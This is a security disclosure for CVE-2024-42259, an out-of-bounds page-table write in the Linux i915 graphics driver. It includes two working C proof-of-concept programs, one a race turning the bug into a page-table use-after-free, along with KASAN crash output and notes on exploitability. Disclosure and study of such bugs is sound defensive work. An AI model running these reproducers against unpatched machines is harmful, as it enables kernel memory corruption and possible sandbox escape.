I found a bug in the i915 code that allows a process with access to a render node (/dev/dri/renderD128) to corrupt kernel memory. This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2024-08-28. Summary vm_fault_gtt() calls remap_io_mapping with an incorrect size; it should limit the size to area->vm_end - {address passed to remap_io_mapping} instead of area->vm_end - area->vm_start. Bug description [For people reading this bug report who are not i915 experts: I highly recommend first reading sima's "i915/GEM Crashcourse" at https://blog.ffwll.ch/2013/01/i915gem-crashcourse-overview.html. I wouldn't have understood what's going on in this code without reading that.] I found a bug in vm_fault_gtt() in drivers/gpu/drm/i915/gem/i915_gem_mman.c. PTEs pointing into the GTT MMIO window are written as follows: /\* Now pin it into the GTT as needed \*/ vma = i915_gem_object_ggtt_pin_ww(obj, &ww, NULL, 0, 0, PIN_MAPPABLE | PIN_NONBLOCK /\* NOWARN \*/ | PIN_NOEVICT); if (IS_ERR(vma) && vma != ERR_PTR(-EDEADLK)) { /\* Use a partial view if it is bigger than available space \*/ struct i915_gtt_view view = compute_partial_view(obj, page_offset, MIN_CHUNK_PAGES); [...] vma = i915_gem_object_ggtt_pin_ww(obj, &ww, &view, 0, 0, flags); [...] } [...] /\* Finally, remap it using the new GTT offset \*/ ret = remap_io_mapping(area, area->vm_start + (vma->gtt_view.partial.offset << PAGE_SHIFT), (ggtt->gmadr.start + i915_ggtt_offset(vma)) >> PAGE_SHIFT, min_t(u64, vma->size, area->vm_end - area->vm_start), &ggtt->iomap); In the case where the first i915_gem_object_ggtt_pin_ww() call refuses to map the whole object into the GTT MMIO window, for example because the object is too big to fit into the window, a subrange of the object is mapped instead. When this happens and the subrange is not at the start of the VMA, vma->gtt_view.partial.offset is nonzero. In this case, the size parameter passed to remap_io_mapping() is calculated wrong: It is limited to the size of the VMA (area->vm_end - area->vm_start), but with an address that is higher than where the VMA starts (area->vm_start + (vma->gtt_view.partial.offset << PAGE_SHIFT)), so the end address is only limited to area->vm_end + (vma->gtt_view.partial.offset << PAGE_SHIFT). When the VMA covers the whole object, this has no bad consequences because of the min_t(); but if the VMA is shorter than the object, PTEs can be written out of bounds. This can be tested with the following reproducer - on my system it causes "BUG: Bad page map" and "Bug: Bad rss-counter" errors when the reproducer tries to exit: // written for a device with Xe Graphics (TGL GT2) #define _GNU_SOURCE #include <err.h> #include <fcntl.h> #include <stdio.h> #include <inttypes.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <drm/i915_drm.h> #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) #define MiB \*(1024\*1024) void poke(volatile char \*p) { printf("poking %p\n", p); \*p = 1; } int main(void) { int fd = SYSCHK(open("/dev/dri/renderD128", O_RDWR)); struct drm_i915_gem_create gem_create = { .size = 257 MiB /\* a bit over half the GGTT aperture size on my machine \*/ }; SYSCHK(ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gem_create)); printf("created GEM 0x%x\n", gem_create.handle); struct drm_i915_gem_mmap_offset mmap_offset_arg = { .handle = gem_create.handle, .flags = I915_MMAP_OFFSET_GTT }; SYSCHK(ioctl(fd, DRM_IOCTL_I915_GEM_MMAP_OFFSET, &mmap_offset_arg)); printf("fake mmap offset: 0x%lx\n", (unsigned long)mmap_offset_arg.offset); #define MAP_SIZE (128 MiB - 0x80000) volatile char \*map = (volatile char \*)SYSCHK(mmap(NULL, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED, fd, mmap_offset_arg.offset)); printf("mapped from %p\n", map); poke(map + MAP_SIZE - 0x1000); poke(map); printf("mapped to %p\n", map + MAP_SIZE); } Code history The current form of the buggy code is from commit c58305af1835 ("drm/i915: Use remap_io_mapping() to prefault all PTE in a single pass", landed in v4.9), but I think back then it was unreachable because the code for constructing a partial view limited the partial view's size based on the VMA bounds back then: view.params.partial.size = min_t(unsigned int, chunk_size, (area->vm_end - area->vm_start) / PAGE_SIZE - view.params.partial.offset); This safety was removed in commit 8201c1fad4f4 ("drm/i915: Clip the partial view against the object not vma", first in v4.11). I suspect the bug became hittable after that point. Most places in the kernel that install PFNMAP PTEs use helpers like remap_pfn_range() that make sure the passed range fits into the specified VMA; but it looks like i915 doesn't use those because it wants to be able to clobber existing PTEs, which the usual helpers treat as an error. (See commit 0e4fe0c9f2f9 ("Revert "i915: use io_mapping_map_user"").) i915 instead uses its own helper remap_io_mapping(), which just writes PTEs in the specified virtual address range. Exploitability One consequence of this bug is that, because PFNMAP PTEs are written outside the region covered by the VMA, the MM subsystem can't shoot them down when the driver wants to revoke userspace's access to the region. So this could probably be used to gain access to memory that is later mapped into the GTT in the MMIO window - but I don't know enough about i915 to tell whether that is bad or whether shaders always have access to all GTT memory anyway. Probably another consequence would be that if you had a VMA at the end of the userspace virtual address space, you could get memory mapped into the kernel half of memory? But that probably wouldn't lead to anything overly bad... The one way I know of to turn this bug into something that is definitely bad is to turn it into page table UAF, like in https://crbug.com/project-zero/2350: When you're only holding the mmap_lock in read mode (like in a page fault handler), page tables that are not needed by any VMA can be freed concurrently. So if we have one GTT-backed VMA directly ahead of a second VMA, and then concurrently trigger a fault in the GTT-backed VMA while unmapping the second VMA, the out-of-bounds page table access off of the first VMA can walk page tables that are concurrently freed. I tested this in a v6.9.2 kernel build with CONFIG_KASAN=y (for detecting UAF access) and CONFIG_RCU_STRICT_GRACE_PERIOD=y (a debugging option that makes RCU grace periods much shorter at the expense of performance, which makes it easier to detect use-after-free bugs for objects that are RCU-freed), using the following reproducer, running on a system with Xe Graphics (TGL GT2): // written for a device with Xe Graphics (TGL GT2) #define _GNU_SOURCE #include <pthread.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <inttypes.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <drm/i915_drm.h> #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) #define MiB \*(1024\*1024) // virtual address at the boundary between PGD entries #define PGD_BOUNDARY_ADDR 0x8000000000 #define MAP_SIZE (128 MiB - 0x80000) #define LEFT_MAPPING_ADDR (PGD_BOUNDARY_ADDR - MAP_SIZE) #define FLIPPER_MAP_SIZE 0x200000 static void \*flipper_thread_fn(void \*dummy) { int fd = SYSCHK(open("/dev/dri/renderD128", O_RDWR)); struct drm_i915_gem_create gem_create = { .size = FLIPPER_MAP_SIZE }; SYSCHK(ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gem_create)); printf("flipper created GEM 0x%x\n", gem_create.handle); struct drm_i915_gem_mmap_offset mmap_offset_arg = { .handle = gem_create.handle, .flags = I915_MMAP_OFFSET_GTT }; SYSCHK(ioctl(fd, DRM_IOCTL_I915_GEM_MMAP_OFFSET, &mmap_offset_arg)); printf("flipper fake mmap offset: 0x%lx\n", (unsigned long)mmap_offset_arg.offset); while (1) { SYSCHK(mmap((void\*)PGD_BOUNDARY_ADDR, FLIPPER_MAP_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, mmap_offset_arg.offset)); SYSCHK(munmap((void\*)PGD_BOUNDARY_ADDR, FLIPPER_MAP_SIZE)); } return NULL; } int main(void) { pthread_t flipper_thread; if (pthread_create(&flipper_thread, NULL, flipper_thread_fn, NULL)) errx(1, "pthread_create"); int fd = SYSCHK(open("/dev/dri/renderD128", O_RDWR)); struct drm_i915_gem_create gem_create = { .size = 257 MiB /\* a bit over half the GGTT aperture size on my machine \*/ }; SYSCHK(ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gem_create)); printf("created GEM 0x%x\n", gem_create.handle); struct drm_i915_gem_mmap_offset mmap_offset_arg = { .handle = gem_create.handle, .flags = I915_MMAP_OFFSET_GTT }; SYSCHK(ioctl(fd, DRM_IOCTL_I915_GEM_MMAP_OFFSET, &mmap_offset_arg)); printf("fake mmap offset: 0x%lx\n", (unsigned long)mmap_offset_arg.offset); while (1) { SYSCHK(mmap((void\*)LEFT_MAPPING_ADDR, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, mmap_offset_arg.offset)); \*(volatile char \*)(PGD_BOUNDARY_ADDR - 0x1000); SYSCHK(munmap((void\*)LEFT_MAPPING_ADDR, MAP_SIZE)); } } With that, I quickly got a KASAN splat (guess unwind lines removed): [ 906.394685] Huh VM_FAULT_OOM leaked out to the #PF handler. Retrying PF [ 906.657887] Huh VM_FAULT_OOM leaked out to the #PF handler. Retrying PF [ 906.819808] ================================================================== [ 906.819819] BUG: KASAN: use-after-free in pmd_install (./arch/x86/include/asm/pgtable_types.h:401 ./arch/x86/include/asm/pgtable.h:1024 mm/memory.c:416) [ 906.819827] Read of size 8 at addr ffff888180919000 by task linux-i915-oob-/3809 [ 906.819832] CPU: 3 PID: 3809 Comm: linux-i915-oob- Not tainted 6.9.2 #3 [ 906.819835] Hardware name: [...] [ 906.819838] Call Trace: [ 906.819839] <TASK> [ 906.819841] dump_stack_lvl (lib/dump_stack.c:117 (discriminator 1)) [ 906.819847] print_report (mm/kasan/report.c:378 mm/kasan/report.c:488) [ 906.819859] kasan_report (mm/kasan/report.c:603) [ 906.819865] pmd_install (./arch/x86/include/asm/pgtable_types.h:401 ./arch/x86/include/asm/pgtable.h:1024 mm/memory.c:416) [ 906.819869] __pte_alloc (mm/memory.c:445) [ 906.819886] __apply_to_page_range (mm/memory.c:2728 mm/memory.c:2788 mm/memory.c:2824 mm/memory.c:2860 mm/memory.c:2894) [ 906.819893] remap_io_mapping (drivers/gpu/drm/i915/i915_mm.c:110) [ 906.819905] vm_fault_gtt (drivers/gpu/drm/i915/gem/i915_gem_mman.c:411) [ 906.819924] __do_fault (mm/memory.c:4531) [ 906.819927] do_fault (mm/memory.c:4894 mm/memory.c:5024) [ 906.819931] __handle_mm_fault (mm/memory.c:3880 mm/memory.c:5300 mm/memory.c:5441) [ 906.819948] handle_mm_fault (mm/memory.c:5466 mm/memory.c:5622) [ 906.819951] do_user_addr_fault (arch/x86/mm/fault.c:1384) [ 906.819959] exc_page_fault (./arch/x86/include/asm/irqflags.h:37 ./arch/x86/include/asm/irqflags.h:72 arch/x86/mm/fault.c:1482 arch/x86/mm/fault.c:1532) [ 906.819963] asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:623) [ 906.819967] RIP: 0033:0x561a370af516 [ 906.819970] Code: 48 83 7d e8 ff 75 19 48 8d 05 26 0d 00 00 48 89 c6 bf 01 00 00 00 b8 00 00 00 00 e8 64 fb ff ff 48 b8 00 f0 ff ff 7f 00 00 00 <0f> b6 00 be 00 00 f8 07 48 b8 00 00 08 f8 7f 00 00 00 48 89 c7 e8 All code ======== 0: 48 83 7d e8 ff cmpq $0xffffffffffffffff,-0x18(%rbp) 5: 75 19 jne 0x20 7: 48 8d 05 26 0d 00 00 lea 0xd26(%rip),%rax # 0xd34 e: 48 89 c6 mov %rax,%rsi 11: bf 01 00 00 00 mov $0x1,%edi 16: b8 00 00 00 00 mov $0x0,%eax 1b: e8 64 fb ff ff call 0xfffffffffffffb84 20: 48 b8 00 f0 ff ff 7f movabs $0x7ffffff000,%rax 27: 00 00 00 2a:\* 0f b6 00 movzbl (%rax),%eax <-- trapping instruction 2d: be 00 00 f8 07 mov $0x7f80000,%esi 32: 48 b8 00 00 08 f8 7f movabs $0x7ff8080000,%rax 39: 00 00 00 3c: 48 89 c7 mov %rax,%rdi 3f: e8 .byte 0xe8 Code starting with the faulting instruction =========================================== 0: 0f b6 00 movzbl (%rax),%eax 3: be 00 00 f8 07 mov $0x7f80000,%esi 8: 48 b8 00 00 08 f8 7f movabs $0x7ff8080000,%rax f: 00 00 00 12: 48 89 c7 mov %rax,%rdi 15: e8 .byte 0xe8 [ 906.819973] RSP: 002b:00007ffdd0b75430 EFLAGS: 00010213 [ 906.819976] RAX: 0000007ffffff000 RBX: 00007ffdd0b755a8 RCX: 00007f8a3a3848a3 [ 906.819978] RDX: 0000000000000003 RSI: 0000000007f80000 RDI: 0000007ff8080000 [ 906.819980] RBP: 00007ffdd0b75490 R08: 0000000000000003 R09: 0000000135188000 [ 906.819982] R10: 0000000000100001 R11: 0000000000000246 R12: 0000000000000000 [ 906.819984] R13: 00007ffdd0b755b8 R14: 0000561a370b1dd8 R15: 00007f8a3a4b9020 [ 906.819987] </TASK> [ 906.819990] The buggy address belongs to the physical page: [ 906.819992] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x180919 [ 906.819994] flags: 0x4000000000000000(zone=1) [ 906.819997] page_type: 0xffffffff() [ 906.820000] raw: 4000000000000000 ffffea0006024688 ffffea0006024788 0000000000000000 [ 906.820002] raw: 0000000000000000 0000000000000001 00000000ffffffff 0000000000000000 [ 906.820004] page dumped because: kasan: bad access detected [ 906.820006] Memory state around the buggy address: [ 906.820008] ffff888180918f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 906.820010] ffff888180918f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 906.820011] >ffff888180919000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 906.820013] ^ [ 906.820014] ffff888180919080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 906.820016] ffff888180919100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 906.820017] ================================================================== This bug is probably not very interesting on Linux servers, since access to the render node is typically only granted to UIDs who have locally signed in to a machine; but it is probably relevant for things like ChromeOS, and maybe also for escaping from some types of sandboxed desktop applications? Related CVE Number: CVE-2024-42259. Found by: jannh@google.com